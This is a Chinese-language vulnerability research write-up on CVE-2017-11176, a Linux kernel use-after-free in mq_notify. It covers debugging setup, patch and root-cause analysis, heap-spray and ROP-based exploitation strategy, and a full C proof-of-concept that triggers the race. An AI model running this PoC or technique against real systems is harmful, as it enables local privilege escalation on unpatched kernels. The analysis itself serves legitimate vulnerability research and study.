作者:维阵漏洞研究员—km1ng
01 概述
Linux内核中的POSIX消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。
02 影响范围
内核版本至最高Linux kernel through 4.11.9中的mq_notify函数在进入etry logic时不会将sock指针设置为NULL。在Netlink套接字的用户空间关闭期间,它允许攻击者导致UAF。
Red Hat:
Ubuntu:
Debian:
https://www.cvedetails.com/cve/CVE-2017-11176/
https://www.suse.com/security/cve/CVE-2017-11176/
https://ubuntu.com/security/CVE-2017-11176
https://access.redhat.com/security/cve/CVE-2017-11176
03 环境搭建
3.1 调试环境
3.2 Centos7 双机调试
yum install -y kernel-devel
sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo
里面的enable字段修改为enable=1
sudo debuginfo-install kernel
vi /boot/grub2/grub.cfg
vi /etc/grub2.cfg
执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行
kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr
执行下面命令更新grub
grub2-mkconfig -o /boot/grub2/grub.cfg
grub2-mkconfig -o /etc/grub2.cfg
上面的ttyS0是有可能改变的,如有打印机等请移除。
centos7添加串口:
ubuntu添加串口:
测试串口:
centos执行:cat/dev/ttyS0
ubuntu执行:echo hello > /dev/ttyS0
如上图所示centos输出hello代表成功。
拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。
/usr/lib/debug/lib/modules/3.10.0-693.el7.x86_64/vmlinux
重新启动centos,会发现centos如下图所示。
ubuntu执行下面的命令,每次ubuntu重启后都需要重新执行。
sudo stty -F /dev/ttyS0 115200
sudo stty -F /dev/ttyS0
gdb
target remote /dev/ttyS0
file vmlinux
c
centos正常运行,调试环境搭建成功。
3.3 下载源码
uname -a
查看自己内核版本
cat /etc/redhat-release
查看版本
下面的链接为centos源码下载官网:
https://vault.centos.org/
打开后如下图所示。
进入官网后,再一次进入自己对应机器的版本。这里进入7.4,进入os/,进入Source/,进入SPackages/,找到对应版本的rpm包下载在解压即可。
将得到的源码包放入ubuntu调试机。(如果本地的物理机是windows也保留一份,需要对照源码)
调试centos内核的时候,使用dir命令加载源码,在使用l命令查看是否成功,如下图所示。
dir /home/koffer/linux-3.10.0-693.el7
先使用exploit验证一下漏洞是否存在,提权成功。
04 补丁分析
源码的下载方式上面已给出,使用任何习惯的代码阅读器打开。
可以发现补丁点在mqueue.c,并且只添加了一行。
patch的描述提供了更多的信息:
mqueue: fix a use-after-free in sys_mq_notify()
The retry logic for netlink_attachskb() inside sys_mq_notify()
is nasty and vulnerable:
1) The sock refcnt is already released when retry is needed
2) The fd is controllable by user-space because we already
release the file refcnt
so we then retry but the fd has been just closed by user-space
during this small window, we end up calling netlink_detachskb()
on the error path which releases the sock again, later when
the user-space closes this socket a use-after-free could be
triggered.
Setting 'sock' to NULL here should be sufficient to fix it
1、有漏洞的代码存在于mq_notify
2、在retry的逻辑中有错误
3、在sock的计数器上有错误导致UAF
4、漏洞与已经关闭的fd的条件竞争有关
介绍下mqnotify系统调用的用途,mq_*代表”POSIX message queues”,用来代替System V message queues:
POSIX message queues allow processes to exchange data in the form of messages.
This API is distinct from that provided by System V message queues (msgget(2),
msgsnd(2), msgrcv(2), etc.), but provides similar functionality.
mq_notify()系统调用用来注册或注销异步提醒:
mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.
05 漏洞成因分析
Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。
本文章使用的内核源代码为centos7.4 1708 版本默认内核版本版本3.10.0-693.el7的源码。
首先查看漏洞所在代码/ipc/mqueue.c:
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
根据上面的补丁信息,先查看函数的执行流程,下图是经过删减的mq_notify函数。
// from [ipc/mqueue.c]
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct sigevent notification;
struct sk_buff *nc;
// ... cut (copy userland data to kernel + skb allocation) ...
sock = NULL;
retry:
[0] filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
[1] goto out;
}
[2a] sock = netlink_getsockbyfilp(filp);
[2b] fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
[3] goto out;
}
timeo = MAX_SCHEDULE_TIMEOUT;
[4] ret = netlink_attachskb(sock, nc, &timeo, NULL);
if (ret == 1)
[5a] goto retry;
if (ret) {
sock = NULL;
nc = NULL;
[5b] goto out;
}
[5c] // ... cut (normal path) ...
out:
if (sock) {
netlink_detachskb(sock, nc);
} else if (nc) {
dev_kfree_skb(nc);
}
return ret;
}
首先开始从【0】处获取用户提供的文件描述符,如果这个fd不存在于当前进程的fdt中,将会返回空指针并进入退出流程[1]。
[2a]提供的文件的sock对象也被获取。如果没有有效的sock对象,同样会置NULL并进入退出流程[3]。
随后调用netlink_attachskb()函数。
1、直接到【5c】处
2、ret==1 执行到retry
3、nc和sock置为NULL然后执行到退出流程
根据补丁信息应该是要netlink_attachskb返回值为1执行到retry处才能触发漏洞,但是还有一块逻辑nc和sock为什么要置为NULL。
跟进netlink_detachskb函数:
再次跟进sock_put函数:
可以发现sock被置NULL并进入退出流程他的引用计数器sk_refcnt无条件会减一。正如patch所描述的,漏洞代码的sock对象的refcount存在着问题。
回头去查看retry处代码:
发现了netlink_getsockbyfilp函数。跟进netlink_getsockbyfilp函数,如下图所示。
sock对象的refcounter在sock_hold处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一。
下面为netlink_attachskb函数简化代码:
// from [net/netlink/af_netlink.c]
/*
* Attach a skb to a netlink socket.
* The caller must hold a reference to the destination socket. On error, the
* reference is dropped. The skb is not sent to the destination, just all
* all error checks are performed and memory in the queue is reserved.
* Return values:
* < 0: error. skb freed, reference to sock dropped.
* 0: continue
* 1: repeat lookup - reference dropped while waiting for socket memory.
*/
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
// ... cut (wait until some conditions) ...
sock_put(sk); // <----- refcnt decremented here
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo); // <----- "error" path
}
return 1; // <----- "retry" path
}
skb_set_owner_r(skb, sk); // <----- "normal" path
return 0;
}
函数的功能是将skb绑定到netlink socket,sock_put(sk)导致refcnt减少,最后return 1,返回返回直接goto到retry标签的地方。
如下图所示,这里并没有将sock和nc置为NULL:
下面这两处函数的调用刚好将引用计数抵消:
如下图所示在retry代码块中,f=fdget(notification.sigev_signo),如果f.file为空,直接goto到out标签。
在上面的分析中,out判断sock是否为空,如果不为空,调用netlink_detachskb函数。释放skb,并减少sk引用计数,进行释放。那么就有问题了,如果我们创建A线程保持netlink_attachskb返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不是为空。同时再创建B线程去关闭netlink socket对应的文件描述符。由于B线程关闭了netlink socket的文件描述符,那A线程在retry逻辑中,调用fdget时会失败,然后直接goto到out标签,进行释放,进行了二次释放,导致漏洞。这个漏洞是属于条件竞争型的二次释放漏洞,只在一个线程中,是无法触发漏洞。
06 触发漏洞
现在已经知道漏洞是如何造成的了,但是如何触发这个漏洞。
6.1 netlink_attachskb函数流程分析
在netlink_attachskb函数中,主要逻辑如下:
1、判断atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf,或者 test_bit(NETLINK_CONGESTED,&nlk->state))是否为真,和netlink_skb_is_mmaped(skb)是否为空;其中netlink_skb_is_mmaped(skb)返回结构肯定为True。
· 如果进入该分支,首先会调用 DECLARE_WAITQUEUE声明一个等待队列;
· 判断timeo是否为空,这里不为空,不进入后续分支;
· 随后调用__set_current_state设置当前task状态TASK_INTERRUPTIBLE;
· 然后调用add_wait_queue将当前线程添加到 wait队列;
· 然后进入判断,由于(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))这个判断在最开始已经为真,所以只需要确定 sock_flag是否为sock_DEAD。若为真,则调用schedule_timeout进行cpu调度,当前线程进入block状态;
· 调用__set_current_state函数,设置当前task为TASK_RUNNING;
· 调用remove_wait_queue函数,将当前线程从 wait队列中移除;
· 调用sock_put函数,将sock的引用计数减1;
· 最后调用signal_pending判断当前current,若为真,则调用kfree_skb释放skb;
· 最后返回1。
2、如果不进入该分支,则会调用netlink_skb_set_owner_r函数:
会调用atomic_add将sk->sk_rmem_alloc加上skb->truesize,也就是扩大了sk->sk_rmem_alloc大小。
首先netlink_skb_is_mmaped(skb)肯定为True,所以只需要(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))为真即可。
为了触发漏洞,需要netlink_attachskb的返回值为1,可以通过增大sk->sk_rmem_alloc的值或减小sk->sk_rcvbuf的值。
6.2 增大sk->sk_rmem_alloc
在netlink_attachskb函数中,首先会对sk->sk_rmem_alloc与sk->sk_recvbuf函数进行判断,如果判断不通过,则会执行到netlink_set_owner_r函数。
sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是它的值始终会是一个>0的值,因此这个判断很难以通过。会直接执行到 netlink_skb_set_owner_r。
那么是否能够通过多次调用mq_notify()函数,第一次直接执行netlink_skb_set_owner_r来增大 sk_rmem_alloc,然后第二次执行时由于 sk_rmem_alloc已经增大了来进入返回1的路径。
消息队列的一个成员只能执行一次。所以只能想办法用其他路径来触发netlink_skb_set_owner_r,以此来增大sk_rmem_alloc。这里先寻找一下关于 netlink_skb_set_owner_r的调用链。
最终发现如下调用链,可以调用skb_set_owner_r来更改sk_rmem_alloc的值:
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r
查看netlink_sendmsg代码:
执行netlink_unicast函数需要满足如下条件:
· msg->msg_flags不等于MSG_OOB
· scm_send返回值大于等于0,也即保证msg->msg_controllen<=0即可
· addr->nl_family=AF_NETLINK,且 dst_group不等于dst_portid,netlink_allowed返回值不为空
· nlk->portid不为空,且sk->sk_sndbuf-32大于len
· 需要控制msg->msg_iter的type\nr_segs\iov为对应值
最后调用netlink_unicast,但是这个函数里面没有易于我们控制的参数。
调用该函数可以直接通过调用链调用 netlink_attachskb,最后调用 netlink_skb_set_owner_r,也就是会增加 sk_rmem_alloc的值。
6.3 减小sk->sk_rcvbuf
setsockopt函数中,找到sock_setsockopt的函数,其中有对sk->sk_rcvbuf的操作:
首先val从val和sysctl_rmem_max中取最小值。然后sk->sk_rcvbuf从val*2和sock_min_rcvbuf中取最大值。这里就可以修改sk->sk_rcvbuf的值。这里的val是由我们传入的,可以控制sk->sk_rcvbuf的大小。
当ret==1时触发漏洞,ret为netlink_attachskb的返回值,mq_notify系统调用执行到 netlink_attachskb的条件:
· u_notification !=NULL
· notification.sigev_notify = SIGEV_THREAD
· notification.sigev_value.sival_ptr必须有效
· notification.sigev_signo提供一个有效的文件描述符
6.4 唤醒线程
在上面对netlink_attachskb进行分析时讲到当进入 if分支后,会执行schedule_timeout,会让当前线程进入block状态。而不想阻塞线程,只能设置 sock_flag为SOCK_DEAD,但是如果这样设置后面就没法再执行了。所以这里必须得进入block状态,我们只能想办法去唤醒被block的线程。
调用wake_up_interruptible来唤醒线程,调用链和代码如下所示:
netlink_setsockopt->wake_up_interruptible
6.5 retry跳转到out
通过上面的操作,已经能保证netlink_attackskb首先进入retry分支。然后我们要使retry循环出错,直接跳转到out代码块。
netlink_attackskb的正常流程为:
· netlink_getsockbyfilp根据fd获取sock结构,此时 ock的引用加1;
· 然后进入attachskb函数,判断此时的sk是不是满了,如果满了,则sock的引用减一;
· 然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定;
· 此时sock的引用,一加一减保持平衡。
通过多线程同时竞争则会产生如下情况:
· 当线程1还未进入retry时,线程2调用了close触发了fputs,使引用计数ref count减1,并从映射表中将fd和文件的映射移除,因为调用 close(fd)函数将会释放最后一个对文件的引用,所以file结构体将会被释放。由于file结构体被释放,相关联的sock的结构体的引用计数减1,且sock的计数为0,导致其被释放。这时 sock指针并没有被设置为 NULL,使其成为一个野指针。
· 然后在线程1中,因为 fd已经不指向任何有效的文件结构,所以第二次调用 fget()时会失败,程序将会跳转到 out标签处,接着 netlink_detachskb()将会使用之前已经被释放的 sock指针,导致 use after free。这里的 use after free是漏洞导致的结果而不是漏洞产生的原因。
07 漏洞利用
7.1 堆分配
对于UAF类型的漏洞,通用方法就是使用堆喷射占位。本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x4a8字节,即是1192byte。
slab分配器在分配对象时,遵守后进先出的规则。下图是slab分配器释放对象的过程。
要释放的objp在ac->entry的末端,slab分配对象直接在ac->entry末端弹出一个对象。
被释放的对象是排在链表末段,如果此时同一缓存中进行对象分配,刚刚释放的对象会被重新分配出去,这就出现两个指针指向同一块内存地址。要想保证申请的内存正好落在漏洞对象的内存位置中:
堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。
ac本身是array_chche结构体,该结构体是本地高速缓存,每个CPU对应一个,所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中。
如果堆喷申请的对象只是短暂驻留,当该函数返回时将申请的对象进行了释放,导致无法正确占位。所以要能保证申请的对象不被释放,至少保证在使用漏洞对象时不被释放,这里要采用驻留式内存占位,可以采取让某些系统调用过程阻塞。
7.2 利用流程分析
在进行堆喷、构造堆喷对象时,有必要在对应漏洞对象的一些特殊成员域的内存偏移处设置magic value,然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下图所示:
采用getsockname系统调用获取数据,getsockname会调用netlink_getname。具体看一下netlink_getname函数:
将netlink_sock对象中的portid复制给nladdr->nl_pid。如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的,addr就是从用户层传入的缓冲区,netlink_sock结构体如下:
wait_queue_haed_t结构体如下图所示:
task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是需要处理的等待例程元素。进入如下图所示的wake_up_interruptible函数中。
如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。
wait_queue_t结构体如下所示:
wait_queue_t结构体中有一个函数指针func。再看wake_up_common函数中,直接执行curr>func函数,可以通过构造wait_queue的func参数控制RIP。再回过头看list_for_each_entry_safe宏:
pos是wait_queue元素,对pos->member.next进行了解引用,这里的pos->member就是wait_queue中的task_list。__wait_queue中的task_list也是一个链表头,需要指向一个list_head,所以还必须要构造一个假的list_head以便于该宏进行解引用。
7.3 调试验证
根据上面的分析已经明白了漏洞触发到漏洞利用的一个整体的流程,编写漏洞利用代码并测试,可以先在netlink_attachskb下断点,判断返回值是否为1,如果为1说明已经进入retry分支,然后在fdget下断点判断是否为0,判断成功后将会进入out分支,double-fetch成功。
如下图所示netlink_attachskb返回1,成功进入retry。
继续对fdget下断点,查看是否如我们想象中的那样运行。
如上图所示fget返回值为0,程序的执行流程转为out。
在__wake_up_common调用函数指针下断点执行下去,发现程序最终执行到构造的rop链条,如下图所示。
下图是我使用的centos7.4所构造的rop链条。
通过ROP链绕过SMEP执行提权代码。
08 poc
下面的代码是可以触发漏洞的poc。
/*
* CVE-2017-11176 Proof-of-concept code by LEXFO.
*
* Compile with:
*
* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
*/
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]
// ----------------------------------------------------------------------------
// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
// ----------------------------------------------------------------------------
#define PRESS_KEY() \
do { printf("[ ] press key to continue...\n"); getchar(); } while(0)
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd;
bool is_ready; // we can use pthread barrier instead
};
// ----------------------------------------------------------------------------
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the unblock thread has been created. It *must*
// directly call mq_notify().
uta->is_ready = true;
sleep(5); // gives some time for the main thread to block
printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd);
printf("[ ][unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("[+] setsockopt");
return NULL;
}
// ----------------------------------------------------------------------------
static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
pthread_t tid;
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];
// initialize the unblock thread arguments
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
uta.is_ready = false;
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;
printf("[ ] creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("[-] pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("[+] unblocking thread has been created!\n");
printf("[ ] get ready to block\n");
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
{
perror("[-] mq_notify");
goto fail;
}
printf("[+] mq_notify succeed\n");
return 0;
fail:
return -1;
}
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
/*
* Creates a netlink socket and fills its receive buffer.
*
* Returns the socket file descriptor or -1 on error.
*/
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("[ ] preparing blocking netlink socket\n");
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}
printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");
_close(send_fd);
printf("[+] blocking socket ready\n");
return recv_fd;
fail:
printf("[-] failed to prepare block socket\n");
return -1;
}
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = 1;
printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");
if ((sock_fd = prepare_blocking_socket()) < 0)
goto fail;
printf("[+] netlink socket created = %d\n", sock_fd);
if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
{
perror("[-] dup");
goto fail;
}
printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
// trigger the bug twice
if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}
printf("[ ] ready to crash?\n");
PRESS_KEY();
// TODO: exploit
return 0;
fail:
printf("[-] exploit failed!\n");
PRESS_KEY();
return -1;
}
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
09 总结
此漏洞的原理很简单、利用方式不是很难,但是我也调试挺长时间,难点在于如何去触发漏洞以及利用漏洞的时候绕过各种检查和条件。虽然现在已经得到了root shell但是还有很多需要改善的地方。分析复现漏洞应该更加关注自己使用的环境,自己的环境和别人文章中的是有不同的。清楚明白漏洞产生的原因,如何去触发漏洞、绕过检查、利用手法、清理环境等。这篇文章也是笔者第一次分析复现linux下的内核提权漏洞,如有不当之处还请指正。
视频演示:
https://www.bilibili.com/video/BV1Z54y1n77q
参考链接:
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html
https://sunichi.github.io/2019/10/08/CVE-2017-11176-2/